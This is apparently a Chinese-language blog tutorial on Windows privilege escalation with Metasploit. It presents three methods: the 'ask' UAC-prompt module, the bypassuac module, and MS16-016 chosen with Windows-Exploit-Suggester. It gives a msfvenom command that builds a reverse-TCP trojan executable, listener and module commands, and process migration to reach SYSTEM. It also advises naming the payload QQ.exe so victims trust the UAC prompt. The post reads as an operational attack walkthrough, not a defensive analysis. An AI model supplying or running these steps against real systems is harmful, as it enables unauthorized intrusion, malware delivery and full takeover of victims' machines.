前言
通常网站管理员会创建一个低权限的用户来管理 Web服务器,而我们通常获取目标 Shell也是从 Web服务器获取,这就会导致我们只能获取到这个低权限的用户。如果我们需要更深入的渗透或做一些横向扩展,低权限的用户往往满足不了我们的需求,这就需要进行用户权限的提升操作。这篇文章我将带来使用 MSF进行提权的三种方式。
提高程序运行权限级别
以高权限的身份重启 Shellcode,会触发 UAC。当目标机器确定 UAC后才会反弹一个高权限的 Shell。
1. 使用 msfvenom模块生成对应的木马文件
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe |
2. 开启监听
1 | msf6 > use exploit/multi/handler |
3. 在目标机器运行木马
运行后会在本机获得目标 shell
1 | [*] Started reverse TCP handler on 192.168.13.132:4444 |
获取目标 session
1 | meterpreter > background |
此时使用 getsystem会发生报错,接下来将使用提高运行权限级别进行提权
4. 提权
001 . 切换到 ask模块
1 | msf6 exploit(multi/handler) > use exploit/windows/local/ask |
002 . 设置对应的 session,session可以使用命令 sessions查看,设置对应编号(ID)即可
1 | msf6 exploit(windows/local/ask) > set session 6 |
003 . 设置 UAC名称,起一个比较容易让目标信任的名字
1 | msf6 exploit(windows/local/ask) > set filename QQ.exe |
004 . 执行
1 | msf6 exploit(windows/local/ask) > exploit |
005 . 目标机确认 UAC
确认后即可获取到更高权限的 session。
5.结果
我们在 msf中切换到更高权限的 session后,再次使用 getsystem命令即可提权。
1 | msf6 exploit(windows/local/ask) > sessions -i 7 |
UAC绕过
MSF模块
1 | use exploit/windows/local/bypassuac |
1. 获取目标低权限 session
2. 切换到 bypassuac模块
1 | msf6 exploit(windows/local/bypassuac) > use exploit/windows/local/bypassuac |
3. 进行 options配置
只需要配置一下 session即可
1 | msf6 exploit(windows/local/bypassuac) > set session 1 |
4. 执行获取高权限会话
1 | msf6 exploit(windows/local/bypassuac) > exploit |
利用系统本地漏洞提权
推荐工具: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
1. 获取目标补丁信息
1 | C:\Users\Lenovo\Desktop>systeminfo |
将 systeminfo结果生成为文本文件
2. 使用工具比对可用漏洞
将生成的文本放到工具的目录下,并在当前文件目录下使用 cmd执行命令
001 . 更新最新漏洞仓库
使用 python2环境执行如下命令,更新漏洞仓库
1 | > python27 windows-exploit-suggester.py --update |
002 . 使用命令进行匹对
-i 指定 systeminfo结果文件,-d 指定刚更新的漏洞文本
1 | > python27 windows-exploit-suggester.py --audit -i a.txt -d 2020-12-16-mssb.xls |
003 . 根据匹对结果选择 payload
这里我选择的是 msf16-016
3. MSF进行提权操作
001 . 使用 msf16-016
1 | > search ms16-016 |
002 . 设置配置信息
1 | > show options |
003 . 提权
可以看见成功的吧漏洞利用到了 PID为 692的进程中…虽然提权成功了,但你 getuid下还是看见的是 user权限,ps一下查看进程,根据刚才的提示找到PID 692的进程,可以看见确实是system权限所以我们还要用到migrate 命令 //迁移到一个指定的进程ID。
1 | migrate 692 |
再次 getuid下可以看见为system权限啦,提权成功了。
总结
相比 Linux操作系统,Windows的提权现得更为简单。因为方法的多样性以及由更多的系统漏洞可以提供我们选择,我也也可以使用上述工具提供给我们的某个漏洞的 POC连接去直接使用,也可以获得到一个高权限用户。
- 本文作者: Mark DiDi
- 本文链接: https://gitee.com/gxustt/mxy/mxy/2020/12/15/MSF提权/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!